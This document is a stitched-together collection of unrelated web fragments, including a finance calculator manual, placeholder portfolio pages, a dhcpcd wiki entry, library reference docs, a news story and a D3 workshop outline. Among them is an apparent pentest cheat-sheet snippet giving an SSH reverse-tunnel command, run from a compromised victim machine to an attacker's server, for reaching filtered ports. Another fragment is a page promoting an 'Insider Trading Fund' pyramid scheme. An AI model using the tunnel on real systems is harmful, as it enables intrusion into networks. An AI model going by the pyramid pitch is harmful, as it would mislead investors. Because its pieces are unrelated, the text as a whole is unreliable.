Interest Navigator is a stand-alone web site and as such it can be deployed without a web server. It is installed by copying the files to a folder inside of the target device, while maintaining the directory structure, and then creating a bookmark to the main page (in.html). The date picker built into Interest Navigator is derived – with minimal change, from one written by Chris Hulbert (MIT License). At the time of this writing (September 2018) the original can be found at http://www.splinter.com.au/javascript-date-picker-that-doesnt-sucktm/.
PLEASE NOTE: Interest Navigator should be considered pre-beta and as such the author does not claim it to be useful for any purpose nor does the author accept liability for any harm that may come due to hosting, running or relying on its results. You may host and or distribute Interest Navigator only if this disclaimer is included and made prominent to the end user.
At its most basic level, Interest Navigator is operated by selecting a calculator, entering known values in the input fields and then pressing one of the target buttons to calculate the value for the unknown field. The message panel indicates if the values are valid and consistent.
Items on the Options Panel can be cycled through by clicking on each item individually. Changing the value of any of the options causes the current calculation to be invalidated.
· Title Bar is where the name appears for the current calculation or “New Calculation” if one has not been assigned yet. Keep in mind that the calculation name is not necessarily the same as the file name to which it is saved.
· Click the Menu Widget to perform file operations, change settings and get help.
· Calculator Widget is a dropdown list to pick the type of calculator desired.
· Start Dates Widget displays a dialog to modify Critical Start Dates: Start, Payment begins and Interest charge begins. In most cases, all three dates are the same. A date picker can be displayed by clicking of the icon to the right of the date entry field. If all three fields are not the same, a small red light on top of the widget is turned on.
· Clicking a Target Button causes the value of that item to be calculated and displayed in the adjacent field. Message Panel text changes to show validity of the data entered.
o No. of Payments/Deposits is not always the same as the number of compounding periods if all dates are not the same.
o Interest Rate is the percentage interest charged per year. Negative interest rates are accepted, in light of recent economic events. It is up to the user to make sure the interest rate makes sense.
o Principal / Beginning Balance is the amount of initial investment or loan.
o Labels change according to the calculator selected.
· Command Buttons
o Clear Button causes the field values to be cleared, options set to defaults and all dates set to the system date. Calculation name remains the same. To clear out the calculation name and start a new calculation, pick New from the menu.
o Schedule Button creates a new page or tab, depending on your browser, displaying the calculation’s time schedule table.
o Default Options command button is where you change the value of options given to new calculations.
· Input Fields
o No. Deposits/No. of Payments is the same as number of compound periods only when all start dates are the same – which is the usual case.
o Even if the Payment Amount/Deposit Amount is 0$, there still is a No. Deposits/No. Payments greater than 1.
o If Payment Amount/Deposit Amount is 0, then enter 0 for the value – do not leave blank.
This is where payment frequency, payment timing and amortization method are selected. Values can be circulated through by repeatedly clicking on the relevant item or applying from the Default Options Dialog. When a new calculation is selected from the menu or the Clear command button is clicked, the values for this panel are set to the saved default.
· Payment frequency indicates how often a loan payment or an investment deposit is made. The possible values are: Monthly, Bimonthly, Quarterly, Semiannual, Annual or Daily. It can be cycled through by clicking on it.
· Payment timing in Advance or Arrears, whether a payment is made at the beginning or end of a period.
· Amortization Method refers to the way the balance of a loan or investment is calculated. It can be either compound interest or Rule of 78s.
o Rule of 78s only applies to loans, not investments.
o Interest Rate % target button changes to Finance Charge $.
o There can be only one Start Date for Rule of 78s.
o Interest Navigator does not check legality of any loan - it only applies a formula to the entries made.
The menu can be displayed by clicking on the menu widget.
· New, clears the input fields, options are set to the default values and the title bar is changed to “New Calculation”. Make sure you save the existing calculation first, if you want to return to it at a later time.
· Save, if the values are consistent, saves the current calculation to the client’s (local) file system. Prompts for a name to give to the calculation and then calls on the browser to save the values. Once it is saved locally, it can be treated like any other file: deleted, emailed, renamed etc. Renaming of the file does not change the calculation name.
· Open, calls on the browser to fetch an existing calculation from the client’s file system. The Open function checks for the calculation’s consistency and since in most cases there are rounding errors between what’s been saved and the displayed values, it is like that the message panel may show inconsistent values, even though the calculation was consistent when saved. Click any of the target buttons to verify consistency.
· Settings, displays the Settings Dialog where the preferences are set. As of this writing only the date picker and the dates display format are set. The format can be modified only if Interest Navigator’s built-in date picker is picked, otherwise it is determined by the browser.
· Help, opens this document.
In most cases all dates are the same and this dialog need not be used. But if interest is not charged for a number of periods and payments are made anyway or no payments are made for a number of periods but interest is charged anyway, then this is where you enter the start dates.
Dialog commands:
· OK - save the dates and dismiss the dialog
· Cancel – any values entered are ignored and the dialog is dismissed.
· Reset – all dates are set to the date on the main form (the calculator).
· Help – this text.
Note that if all three dates are not the same and the values are saved by clicking OK, once the Critical Start Dates is dismissed, a red light appears on the Start Dates selection widget on the calculator, indicating that start dates are not all the same.
If the date picker provided by Interest Navigator is being used, a date can be picked by clicking on the calendar icon next to the date input box. You can choose to use the browser’s date picker or Interest Navigator’s from the Settings option of the menu.
Use this dialog to set the options values for all new calculations or when the current calculation is cleared. Values for the current calculation can be picked from the Options Panel also.
Command buttons:
· Apply – applies the selected values to the current calculation but is not saved for future calculations. It is an alternate method to picking from the Options Panel.
· Save – saves the selected values for future calculations, whenever the current calculation is cleared or a new one is picked from the menu.
· Exit – dismisses the dialog. Prompts to save the selected values if they were changed and not saved.
It can be opened by choosing Settings from the menu. Currently the only settings options relate to how dates are picked and formatted.
· Use date piker - Whether to use the browser’s internal date picker, if one is available or to use the date picker built in to Interest Navigator.
· Dates format - If Interest Navigator’s date picker is used, the order in which day, month and year appear is selected.
· Month format – If Interest Navigator’s date picker is used, Month format drop-down lets you can pick numeric or named and capital or lower case and abbreviated or full month name.
Clicking on the Schedule command button opens a new browser tab displaying the amortization schedule.
· Page heading, defaults to the name given when the calculation was saved. If the calculation was not saved before the schedule was generated, it defaults to “Schedule”. It can be overwritten with any text desired.
· Parameters command button is used to toggle visibility of the parameters at the top.
· Print command button invokes the browser’s printing facilities to print the displayed data. Selection of a printer, page format, etc., is handled by the browser.
· Export command button opens the Export Options dialog.
o File Name defaults to the page heading but no extension is added. Once OK is clicked, it is handed over to the browser at which time the location can be decided.
o Field Separator can be either a tab or a comma. It is used to separate data columns.
o Quote Character is not mandatory but it can be either a single or double quote character. If comma has been picked for field separator, it is highly advisable to pick a quote character as the receiving application may get confused as to which commas are thousands separators and which are used to separate the columns.
o Column Headings check mark should be set if it is desired for the first row/record of the file to contain the field names.
`
Please be aware that if you click the browser’s reload
button and the values entered in the calculator have changed, the schedule will
update to reflect the new values. If the corresponding calculator tab has been
closed since, the result is not defined and is browser dependent.
The following examples are for demonstrating how to use the calculators and not necessarily real world examples. In reality, considerations may have to be made for taxes, fees and etc., which are beyond the scope of these examples.
Note that it is not necessary to clear a calculation before starting a new one. After a calculation is performed, any input field can be modified and a new target button clicked, thereby examining what-if scenarios. Also, after each calculation, a new schedule may be produced for comparison.
Fixed 30 year (360 months) amortization at 4.5% with initial borrowing of $350,000. Enter the values for No. of Payments, Interest Rate, Principal and then click Payment Amount $.
Same mortgage as before except the balance is due after ten years. You would like to know how much needs to be refinanced at the end of ten years.
1. Proceed following the previous example’s instructions to get the figure for the payments amount.
2. Change No. of Payments to 120 (10 years) and then click Balloon to get the amount needed to refinance or payoff the loan after 10 years.
An investment of $100,000 that pays 4.5%, compounded monthly for 10 years, interest and principal paid at the end of the term.
1. Select the Savings and Investments Calculator
2. Enter 120 (10 years) No of Deposits, although only one initial investment is made.
3. Enter 4.5 for the Interest Rate.
4. Enter100,000 in the Beginning Balance field.
5. Enter 0 for deposit amount, to indicate no periodic payments or draws are made. Note that a blank and 0 are not the same.
6. Click Future Value.
Bank savings account pays an interest of 2%. The goal is to have accumulated $200,000 in ten years and there is a 50,000 initial investment. To calculate additional monthly deposits needed:
1. Select the Savings and Investments Calculator
2. Enter 120 (10 years) for No of Deposits
3. Enter 2 for Interest Rate
4. Enter 50000 for Beginning Balance
5. Enter 200000 for Future Value
6. Click Deposit Amount.


ae-read-curves example
→ View ae-read-curves on github
Video generated from After Effects:
Div animated from ae-read-curves values:


Instructions #PRACTICE_STRING#
You will have #TIME_LIMIT_STRING# to answer each of the next #NUM_REPS# questions.
Your remaining time will be shown at the bottom left of the page.
Answer each question to the best of your ability.
Click "Next" to continue.


Filter:
Americas
Africa
Asia
Europe
Oceania
Aggregation:
By Country
By Continent
Encode Bars By:
Population
GDP
Sort By:
Population
GDP
Time Update:
1995
2012


Services for Clients
Lorem ipsum dolor sit amet consectetur adipisicing elit. Placeat a labore vel modi tenetur est! Esse dicta, laborum exercitationem eaque, corporis facilis praesentium omnis eum voluptates laudantium tenetur, unde laboriosam!
- Search for fitness classes in your area.
- Browse trainers and find one(or several!) you enjoy working with.
- Easy, secure payments right from your phone.
- Purchase a punch pass and recieve a discount on every class!
Services for Trainers
Lorem ipsum dolor sit amet consectetur adipisicing elit. Placeat a labore vel modi tenetur est! Esse dicta, laborum exercitationem eaque, corporis facilis praesentium omnis eum voluptates laudantium tenetur, unde laboriosam!
- Share your expertise anywhere!
- Create your own class schedule.
- Clients pay you directly and instantly.
- Build a profile.


REMOTE port forwarding
Forwards remote port to local server.
If we are able to get the shell on the victim machine we can connect even to filtered or closed ports.
We need run sshd on attacker machine and have ssh installed on the victim machine.
Command
Executed on already compromised remote machine
ssh <user@attackers_sshd_IP> -p <attackers_sshd_port> -R <remote_port>:<localhost>:<local_port>


Go to the source code of this file.
Namespaces | |
| namespace | irr |
Defines | |
| #define | _IRR_DEBUG_BREAK_IF(_CONDITION_) |
| define a break macro for debugging only in Win32 mode. | |
| #define | _IRR_IMPLEMENT_MANAGED_MARSHALLING_BUGFIX |
| Defines a small statement to work around a microsoft compiler bug. | |
Typedefs | |
| typedef unsigned char | irr::u8 |
| 8 bit unsigned variable. | |
| typedef signed char | irr::s8 |
| 8 bit signed variable. | |
| typedef char | irr::c8 |
| 8 bit character variable. | |
| typedef unsigned short | irr::u16 |
| 16 bit unsigned variable. | |
| typedef signed short | irr::s16 |
| 16 bit signed variable. | |
| typedef unsigned int | irr::u32 |
| 32 bit unsigned variable. | |
| typedef signed int | irr::s32 |
| 32 bit signed variable. | |
| typedef float | irr::f32 |
| 32 bit floating point variable. | |
| typedef double | irr::f64 |
| 64 bit floating point variable. |
| #define _IRR_DEBUG_BREAK_IF | ( | _CONDITION_ | ) |
| #define _IRR_IMPLEMENT_MANAGED_MARSHALLING_BUGFIX |
Defines a small statement to work around a microsoft compiler bug.
The microsft compiler 7.0 - 7.1 has a bug: When you call unmanaged code that returns a bool type value of false from managed code, the return value may appear as true. See http://support.microsoft.com/default.aspx?kbid=823071 for details. Compiler version defines: VC6.0 : 1200, VC7.0 : 1300, VC7.1 : 1310, VC8.0 : 1400
Definition at line 97 of file irrTypes.h.


Whirled requires JavaScript to operate. Please turn it on in your browser. If you would like more information, please read our instructions on how to turn on JavaScript.
If you would like more information, please read our instructions on how to turn on JavaScript.


This resource pack aims to port the modern Minecraft textures (at this time, 1.17.x) to Minecraft 1.6.1 to 1.8.
The idea of this pack is to give 1.8 PvP players and 1.7.10 modded players have the modern Minecraft textures.
Changelog
V1.2.2
MC: 1.6.1 - 1.8.9
Fixed a spelling error in the yellow wool file, which caused Minecraft to use the old texture
Added light gray wool. Not originally added because in 1.8, its file name is silver
Made sure Nether wart item and block stages were using correct textures
Updated all ores to 1.17 textures
V1.2.1
MC: 1.6.1 - 1.8.9
Fixed a bug where the compass and clock textures were displayed as the black and purple “Texture not found”
icon.
V1.2.0
MC: 1.6.1 - 1.8.9
Updated compass and clock textures to 1.17
Fixed a bug with chests, ender chests and trapped chests having the top texture missing, and being flipped


--- layout: post title: "The Year in Review" date: 2019-12-31 17:50:00 +0000 image: https://s3.amazonaws.com/hackedu/2019-12-23-pigeon.jpg imagecredits: https://www.flickr.com/photos/capturetheuncapturable/4209922726/ ---
This has been a very strange year, and I won't lie, I am glad that it's coming to a close. We moved from Hermosa Beach to Seattle in January — the third move in less than two years. Kin got a job, left a job, got a new job. I wrote a draft of my book and revised the draft of my book. It felt like we spent the year running in circles. Nothing feels certain; nothing feels complete.
I don't feel like writing a list of what I read or what I wrote or where I went or what I ate. I'm tired.
Good things happened in 2019, of course. These days, we walk more. We eat better. We saw some live music. We traveled (although not often enough together).
And we celebrated ten years together (and one year married). It has, all-in-all, been a wild and wonderful decade — professionally and personally.
It's hard, however, to imagine that the next decade will contain much joy. The world is literally burning. Yes, one can find joy. One can make joy. So we turn the calendar page. We continue. We hope. We must.


Last 25 customers
Name
Company
Mobile
Last 25 sales
Customer
Date
Amount
New Customer
Name *
Company
Email Id
Mobile *
Date of Birth
New Sale
Customer *
Date *
Amount (₹) *
Remarks


Ashley Calixte
About
Portfolio
Contact
Portfolio
Something here1
Something here2
Something here3
Something here4
Let's Connect


Before Change
elif lang in ("pt", "hu", "nl", "es"):
// languages where we know the stopword list
import simplenlp
nlp = simplenlp.get(lang)
disambig = None
normalized, disambig = nlp.normalize(text), None
else:
normalized = text
disambig = None
if disambiguation is not None:
After Change
if lang == "en":
normalized = english.normalize(text)
else:
normalized = preprocess_text(text).lower()
if disambiguation is not None:
disambiguation = disambiguation.replace(" ", "_")
if disambiguation:


Pomelo is a well-known fashion brand in Southeast Asia. In April, where there is Thai New Year and Water Festival, Pomelo has a new campaign for the long holidays this month. The newsletter announces the new sales campaign for April. As it is summertime and the celebration period, the bright color represents joy and delight.


Reddit's default search is pretty terrible. It has some built in functions to make it better, but no interface to use them, you just have to memorize the text commands. This just generates a link to a Reddit search, using the more advanced features. See their FAQ for an explanation of the fields.


I am Tim Proctor! I am a recent graduate looking to work in the software development industry. I have knowledge and experience in Mobile Development and Web app Development focusing recently in JavaScript and Flutter.
Find my Resume Here!I am keen and ready to program and develop
I'm ready to learn new skills and languages
I am ready to improve my skillset to help better support the business.
I happy to try give my input into trying to solve a problem!
Like what you see? Want to contact me? get in touch through my Linkedin or Email. (For privacy, My phone number and References are removed from this digital CV, Please contact me for further information)


HttpRequestBody abstract class
The HttpBody of a HttpRequest will be of type HttpRequestBody. It provides access to the request, for reading all request header information and responding to the client.
Extends
HttpBody > HttpRequestBody
Properties
final HttpRequest request #
The HttpRequest from which the HttpRequestBody was created.
Note that the HttpRequest is already drained at this point, so the
Stream
methods cannot be used.


How it Works
The Insider Trading Fund resembles a pyramid structure, starting with a single point on top, that becomes progressively wider toward the bottom. Early investors bring in more potential investors and the investment pool grows over time. Throughout the growth of the investment pool, high dividends are paid out to the shareholders, prioritizing those who referred the greatest new investors. Since the investment pool continuously grows, money is continuously made.
Invest Now


Qt Quick
The Qt Quick module is the standard library for writing QML applications. While the Qt QML module provides the QML engine and language infrastructure, the Qt Quick module provides all the basic types necessary for creating user interfaces with QML. It provides a visual canvas and includes types for creating and animating visual components, receiving user input, creating data models and views and delayed object instantiation.
The Qt Quick module provides both a QML API which supplies QML types for creating user interfaces with the QML language, and a C++ API for extending QML applications with C++ code.
Note: A set of Qt Quick-based UI controls is also available to create user interfaces. See Qt Quick Controls for more information.
For those new to QML and Qt Quick, please see QML Applications for an introduction to writing QML applications.
Important Concepts in Qt Quick
Qt Quick provides everything needed to create a rich application with a fluid and dynamic user interface. It enables user interfaces to be built around the behavior of user interface components and how they connect with one another, and it provides a visual canvas with its own coordinate system and rendering engine. Animation and transition effects are a first class concept in Qt Quick, and visual effects can be supplemented through specialized components for particle and shader effects.
- The Visual Canvas
- User Input
- Positioning
- States, Transitions And Animations
- Data - Models, Views and Data Storage
- Particles And Graphical Effects
- Convenience Types
When using the QtQuick
module, you will need to know how to write QML applications using the QML language. In particular, QML Basics and QML Essentials from the QML Applications page.
To find out more about using the QML language, see the Qt QML module documentation.
C++ Extension Points
Reference Documentation
Additional Qt Quick information:
- Qt Quick C++ Classes - the C++ API provided by the Qt Quick module
- Qt Quick QML Types - a list of QML types provided by the
QtQuick
import- XML List Model - contains types for creating models from XML data
- Local Storage - a submodule containing a JavaScript interface for an SQLite database
- Particles - provides a particle system for Qt Quick
- Layouts - provides layouts for arranging Qt Quick items
- Window - contains types for creating top-level windows and accessing screen information
- Dialogs - contains types for creating and interacting with system dialogs
- Tests - contains types for writing unit test for a QML application
- Qt Quick Examples and Tutorials
Further information for writing QML applications:
- QML Applications - essential information for application development with QML and Qt Quick
- Qt QML - documentation for the Qt QML module, which provides the QML engine and language infrastructure


wiki / software / dhcpcd Edit this page
Edited (1aca415) at 2020-06-10 by Dylan Araps
DHCPCD [0]
________________________________________________________________________________
Dynamic Host Configuration Protocol Client Daemon is a popular DHCP client
capable of handling both IPv4 and IPv6 configuration.
Dynamic IP Configuration
________________________________________________________________________________
Begin by first verifying that you have dhcpcd installed:
+------------------------------------------------------------------------------+
| |
| $ kiss b dhcpcd && kiss i dhcpcd |
| |
+------------------------------------------------------------------------------+
Once installed, dhcpcd can be used to automatically configure a network device
interface:
+------------------------------------------------------------------------------+
| |
| $ dhcpcd INTERFACE |
| |
+------------------------------------------------------------------------------+
Remember to replace INTERFACE in the command above with the name of the device
that you wish to configure.
A network device's interface status can be inspected via ip-link:
+------------------------------------------------------------------------------+
| |
| $ ip link show dev INTERFACE |
| |
+------------------------------------------------------------------------------+
ip-link can also be used to enable or disable an interface:
+------------------------------------------------------------------------------+
| |
| $ ip link set INTERFACE down # disable the interface |
| $ ip link set INTERFACE up # enable the interface |
| |
+------------------------------------------------------------------------------+
Static IP Configuration
________________________________________________________________________________
Continuing from the previous section, we can use ip-address to display the
current DHCP address information:
+------------------------------------------------------------------------------+
| |
| $ ip address show |
| |
+------------------------------------------------------------------------------+
Using the output of the previous command, add the following lines to the
/etc/dhcpcd.conf file using your preferred text editor:
+------------------------------------------------------------------------------+
| |
| interface INTERFACE |
| static ip_address=STATIC_IP |
| static routers=GATEWAY |
| static domain_name_servers=DNS_SERVER |
| |
+------------------------------------------------------------------------------+
Remember to replace the INTERFACE, STATIC_IP, GATEWAY and DNS_SERVER in the
block above with your own parameters.
Hostname
________________________________________________________________________________
A system's hostname can be set by simply creating a /etc/hostname file:
+------------------------------------------------------------------------------+
| |
| $ echo "HOSTNAME" > /etc/hostname |
| |
+------------------------------------------------------------------------------+
Remember to replace HOSTNAME with the string of your choosing.
Note: Valid characters for hostnames include ASCII letters from A to Z, digits
from 0 to 9, and the hyphen character (-). A hostname may not start with
a hyphen.
Managed via runsv
________________________________________________________________________________
Busybox's runsv can be used to create a new managed service with the following
command:
+------------------------------------------------------------------------------+
| |
| $ ln -s /etc/sv/dhcpcd/ /var/service |
| |
+------------------------------------------------------------------------------+
To start the new managed service, use the following command:
+------------------------------------------------------------------------------+
| |
| $ sv up dhcpcd |
| |
+------------------------------------------------------------------------------+
Tips and Tricks
________________________________________________________________________________
* A list of possible INTERFACE names can be obtained by running the following:
+----------------------------------------------------------------------------+
| |
| $ ls /sys/class/net |
| |
+----------------------------------------------------------------------------+
* The ping command can be used to verify connectivity with a network device
interface:
+----------------------------------------------------------------------------+
| |
| $ ping www.google.com |
| |
+----------------------------------------------------------------------------+
* Some network administrators require that the hostname and domain name provided
by the DHCP server is used by the system. In that case, pass the "-HD" switch:
+----------------------------------------------------------------------------+
| |
| $ dhcpcd -HD INTERFACE |
| |
+----------------------------------------------------------------------------+
* If you are not sure what to put in the STATIC_IP, GATEWAY and DNS_SERVER, you
can use the following example for reference:
+----------------------------------------------------------------------------+
| |
| interface eth0 |
| static ip_address=<IP_ADDRESS>/24 |
| static routers=<IP_ADDRESS> |
| static domain_name_servers=<IP_ADDRESS> |
| |
+----------------------------------------------------------------------------+
Notice the "/24" suffix, which is an abbreviation for the subnet mask
<IP_ADDRESS>. Also, GATEWAY and DNS_SERVER are the same in this example.
References
________________________________________________________________________________
[0] https://github.com/rsmarples/dhcpcd
[1] https://wiki.archlinux.org/index.php/Network_configuration
[2] https://wiki.gentoo.org/wiki/Dhcpcd
________________________________________________________________________________
Dylan Araps (C) 2019-2020
kiss-community (C) 2020-2021
Dilyn Corner (C) 2021
Linux(R) is the registered trademark of Linus Torvalds in the U.S. and
other countries.


Publications #
ORCID: 0000-0001-5348-7068
Google Scholar: 8U804UEAAAAJ&hl
2020 #
BoboCEP: Distributed Complex Event Processing for Resilient Fault-Tolerance Support in IoT
DOI:10.1109/BigDataService49289.2020.00024
A Predictive Fault-Tolerance Framework for IoT Systems
DOI:10.17635/lancaster/thesis/1063
2019 #
Providing Fault Tolerance via Complex Event Processing and Machine Learning for IoT Systems
DOI:10.1145/3365871.3365872
Complex Patterns of Failure: Fault Tolerance via Complex Event Processing for IoT Systems
DOI:10.1109/iThings/GreenCom/CPSCom/SmartData.2019.00173
2018 #
A Microservices Architecture for Reactive and Proactive Fault Tolerance in IoT Systems
DOI:10.1109/WoWMoM.2018.8449789


The response you will receive for getting the profile for all users or for one specific user has the same structure except that the array with profile objects in the response for one specific user will only contain one object for that specific user.
Response structure
This is an overview of all fields that can be inside an user profile object. When a field is empty or not public it will not be visible in the response.
| Field | Type | Description |
|---|---|---|
| count | Number | The number of items. |
| items | Object[] | A list of projects (Array of Objects) |
| type | Object | Type of the research item, 4:competitive, 5:industrial |
| code | String | The code of the project |
| acronym | String | The acronym of the project |
| title | String | The title of the project |
| abstract | String | The abstract of the project |
| role | String | The role of the institute in this project |
| status | String | The status of the project |
| url | String | The url of the project in the administrative software |
| logos | Object[] | The array of logos |
| name | String | Name of the logo |
| description | String | Description of the logo |
| image | String | Base64 encoded image of the logo |
| startDate | Date | The start date of the project |
| endDate | Date | The end date of the project |
| projectType | String | The official type of the project |
| pi | Object[] | The list of pi of the project |
| String | The email of the pi | |
| name | String | The name of the pi |
| surname | String | the surname of the pi |
| lines | Object[] | The list of the research lines involved |
| code | String | The code/CDR of the research line |
| description | String | The name of the research line |
Example
An example of a project can be like:
{
"count": 503,
"items": [
{
"code": "EPFD0068",
"title": "-",
"abstract": "",
"startDate": "2016-03-16",
"startYear": "2016",
"endDate": "2017-03-15",
"endYear": "2017",
"projectType": "fd",
"projectType2": "AIRC Fellowship",
"role": "coordinator",
"status": "ended",
"url": "http://....",
"logos": [],
"authorsStr"<EMAIL_ADDRESS>tizio caio",
"pi": [
{
"email"<EMAIL_ADDRESS>"name": "tizio",
"surname": "caio"
}
],
"lines": [
{
"code": "CGS001",
"description": "Genomic Science"
}
]
},
...


Our History
We are a software company based in Nairobi and Thika,Kenya. Founded in 2010, and incorporated in 2015 our prime focus is on ICT services which include:
- Design and building of web based transactional systems
- Technical assessment
- Networking
- Network design and implementation
- ICT consulting
- Embedded systems programming
Our Experience
Our team has a combination of over 10 years in personal and industry assignments.
Our development teams ensure that clients are promptly informed on progress changes made to their work.
We have created all our in-house applications; from email to project collaboration to payroll systems.


Mom who nearly died after giving birth shares moment she met newborn son: 'Luka and I needed each other'
by Alexandria HeinA Missouri mother who almost lost her son at 8 weeks pregnant due to a rare complication and then underwent life-saving surgery after his premature birth said it was the nurses who arranged for her to meet her newborn baby before she went in for the operation who helped save her life two years ago.
“Luka and I needed each other, and we needed to meet each other,” Sharee McCoy, who suffered massive blood loss after Luka’s birth, said. “She could potentially have saved both of us,” speaking of the nurse who brought mother and son together.
NEWBORNS DRESSED AS THANKSGIVING DINNER, SIDES IN TEXAS HOSPITAL PHOTO SHOOT
Luka, who was born at 31 weeks gestation and was having trouble breathing on his own in the NICU, was able to be weaned off oxygen when he was brought near his mom for the first time, and then began breathing without assistance while he was on her chest.
“I didn’t heal Luka, his mom healed Luka, and I think Luka helped to heal Sharee,” Chaela Kinney, Luka’s NICU nurse at SSM Health St. Mary’s Hospital, said. “It was the best miracle I’ve ever witnessed.”
McCoy and Luka began beating the odds just eight weeks into her pregnancy, when it was discovered that she had a cesarean scar pregnancy, which is threatening to both the developing fetus and mother.
“They said that my life would be at-risk if I would continue with the pregnancy,” she said. “They did have one alternative surgery if I decided to go with it, but there was no guarantee it would work.”
COUPLE WEDS AFTER LEARNING SON, 8, HAS WEEKS TO LIVE
Dr. Cristian Campian, the SLUCare Urogynecologist at SSM Health St. Mary’s Hospital, said the procedure had never been done before, so he had no blueprint to go with ahead of McCoy’s surgery. The procedure was a success, and McCoy suffered no further complications ahead of Luka’s premature birth.
Immediately following his birth, she was transferred to the ICU where she was sedated, but because there was a chance that she may not survive the next surgery, her medical team slowly brought her out of sedation so she could speak with family members.
It was then that Kinney decided Luka, who was dealing with health issues of his own, needed to meet his mother.
“To see him with her, I was able to wean his oxygen he was on 100 percent, I was able to wean him to room air, I did not have to provide breaths for him anymore -- being able to witness that, it’s a miracle,” Kinney said.
Two years later, McCoy said she is still forever grateful to Kinney and the staff at SSM Health St. Mary’s Hospital for what they did to save her and her son.


measure the moisture value of soil
pin
: int. the aio pin which is attached by the sensor
trigger
: any type. trigger signal, and whenever it comes, the sensor will measure and report the moisture value.
value
: number. the value of the moisture
It measure the moisture in every 1s, and show the value in the LCD


Brief Introduction
I'm an ex research scientist, bumble-bee trainer, evolutionary roboticist. Now primarily interested in what JavaScript can achieve on your local browser, particularly in the field of data visualization. Currently focusing on way to visualise data with D3, THREE.js (WebGL) and Aframe (WebVR).
Data Visualization with Python and JavaScript
The Dataviz Toolchain
Transforming the data
Central Aim of Workshops
You don't have to be a professional web-developer to get your data out there on the web. Modern tools and approaches make it much easier for data analysts, scientists and managers to leverage the enormous power of the web.
Hands on Learning
Much of these skills are craft skills, best learned by doing. The workshops ahead will focus on building some simple data-visualisations, explaining the concepts and idioms as we go.
Course breakdown
- Webdev101
- Some easy wins (a little mapping dataviz and a Python to JavaScript demo)
- Intro to D3
- Wealth of Nations Dataviz
- The key D3 Update Pattern with a barchart and changing data
- Recap
Why Dataviz Must Go To the Web
- Communication
- Distribution
- Convenience
Why Dataviz Must Go To the Web
The humble URL as a token of exchange.
- Cloud servers in a few clicks (AWS, Heroku, DigitalOcean etc.)
- JFiddle, JSBin et. al. - demo live JavaScript visualisations.
- http://blockbuilder.org/ - Github gists to D3 visualisations (11,000 examples!).
- Rich ecosystem, skills freely traded, standards rising inexorably.
- Barriers to entry dropping all the time...
Nobody Likes Me, Everybody Hates Me...
Coming to terms with JavaScript
JavaScript's Development
- JS a 'toy' language.
- Ugly, kludgy syntax
- Slow interpreter
- Generally small code-bases
- Difficult to scale
ECMAScript 2016
Better all the time
- Modules!!, e.g. `import defaultMember from "module-name";'
- First class functional methods like
map
, reduce
and filter
.
- Default parameters!, e.g. `foo = function(bar, baz=10){...'
- No more for loops, e.g. `[1, 2, 3].forEach(d => console.log(d));'
- The very handy spread operator
{...object, key1=value1}
- And many more syntactic conveniences...
Shifting Bits
JS smokes Python for speed
The Joys of D3
Beyond the barchart
- Implementation of Wilkinson's 'Grammar of Graphics' (cf. ggplot2)
- Solid theoretical core makes it incredibly powerful and expressive
- It flows where other libraries tend to lock-up
- Perhaps the greatest genius of Mike Bostock was implementing it in Javascript (then considered a 'toy' language)
- Not a charting library but the library you make charting libraries with
- New forms of data-visualisation waiting to be discovered
Hacks We Have Known
Empowerment close to the metal
Hacks We Have Known
Empowerment close to the metal
Hacks We Have Known
Empowerment close to the metal
var fixLabels = function() {
labelPos.sort(function(a, b) {
return a.pos > b.pos;
});
var labelToPos = {};
labelToPos[labelPos[0].name] = labelPos[0].pos;
labelPos.forEach(function(d,i){
if(i === labelPos.length-1){return;}
var dist = labelPos[i+1].pos - d.pos;
if(dist < MIN_LABEL_GAP){
labelPos[i+1].pos = d.pos + MIN_LABEL_GAP;
}
});
labelPos.forEach(function(d) {
labelToPos[d.name] = d.pos;
});
d3.selectAll(".line-label")
.transition()
.duration(1000)
.attr("transform", function(d) {
var yPos = labelToPos[sanitizeName(d.name)];
return "translate(" + x.range()[1] + ',' + yPos + ")"; });
};
Web-ward Options for Pythonistas and others
- Tableau, Power-Bi et. al.
- Jupyter (IPython) notebook with embedded charts.
- Plotly, Bokeh et. al.
- Vega (with Vincent) visualisation grammar.
- Bite the JavaScript bullet (D3 et. al.)...
Biting the JS (and D3) Bullet
Eventually, if your ambitions expand the programmers among you will probably become frustrated with the limitations of GUI-based dataviz. Being able to leverage the huge power of D3 opens up possibilites unachievable by other routes.
Recap Day 1
- Basic Webdev requirements
- Intro do D3
Webdev 101
- Four key compoments being HTML, CSS, JavaScript and, of course, the data.
- We build a dataviz framework in HTML and CSS and then...
- ... use JavaScript (and D3) to flesh it out by...
- ... reflecting our dataset in graphical form.
- This commonly involves manipulating SVG primatives
- We saw how circles, lines, rects, paths etc. can be hardcoded using HTML
- But usually we are using D3 to programmatically generate our graphical elements.
D3 Intro, the Story of a Barchart
- We saw the all important selectors (
select
and selectAll
at work), using CSS style selection to grab and adapt elements.
- We saw how attributes, styles, properties, text etc. could be adapted, using a setter form or retrieved using the methods without a second paramter
- With these tools to hand we looked at the fundamental update pattern, which uses the
data
, enter
, exit
, merge
and remove
methods to keep a changing dataset in sync with a data visualization
Recap Day 2
- How to structure a complex data visualization
- How to do modern JS dataviz, using node, ES6 and a starter kit
Complex visualizations
Think in terms of a central datastore that is refelcted visually, through various charts or conventional HTML. When the datastore is changed, e.g. an array is filtered by field (all people over 35 say), that change is mirrored in the visual elements, propagating forward. This pattern is found in modern JS framworks such as React.
Doing Modern JS Dataviz
It's now easy to create all the boilerplate required to do modern JS development using a single command line starter-kit. We use create-react-app
to demonstrate how to build a reusable D3 plugin. We saw how clean modern JS is when compared with having to curate style files, JS files et. al. and deal with link
tags, script
tags and the awkward use of HTML to manage JS libraries.


--- layout: post title: ZIPY — A Homebrew Inverted Pendulum and Control System categories: - Projects tags: [] comments: [] ---


New 2016 Unisex Fashion Baseball Cap Sports Golf Snapback Outdoor Simple Solid Hats For Men Bone(Black)
Check out the reviews below
This photo and product is not mine. It is not for sale. It is only for project usage. Everything about this page is intended for web development projects only.


(fake) Application builder
edit name
A fake concept for application development - via GUI.
Most buttons don't work!
Add database
Cassandra
MangoDB
Postgresql
MySQL
Redis
Clusters
Replication
Add it!
Add server
G-unicorn
Tornado
Eventlet
GEvent
Twisted
Add it!
Add front-end
Ruby on Rails
Django
AngularJS
Options
LocalStorage?
Mobile Friendly?
Dynamic css
SASS
LESS
Add it!
Add data-mine
Add keyword to data-mine
Add it!
Your system setup:
Database
Servers
Frontends
Data-mines


hardy.data_reporting package¶
Submodules¶
hardy.data_reporting.reporting module¶
-
hardy.data_reporting.reporting.
report_dataframes
(report_path)¶
-
hardy.data_reporting.reporting.
report_plots
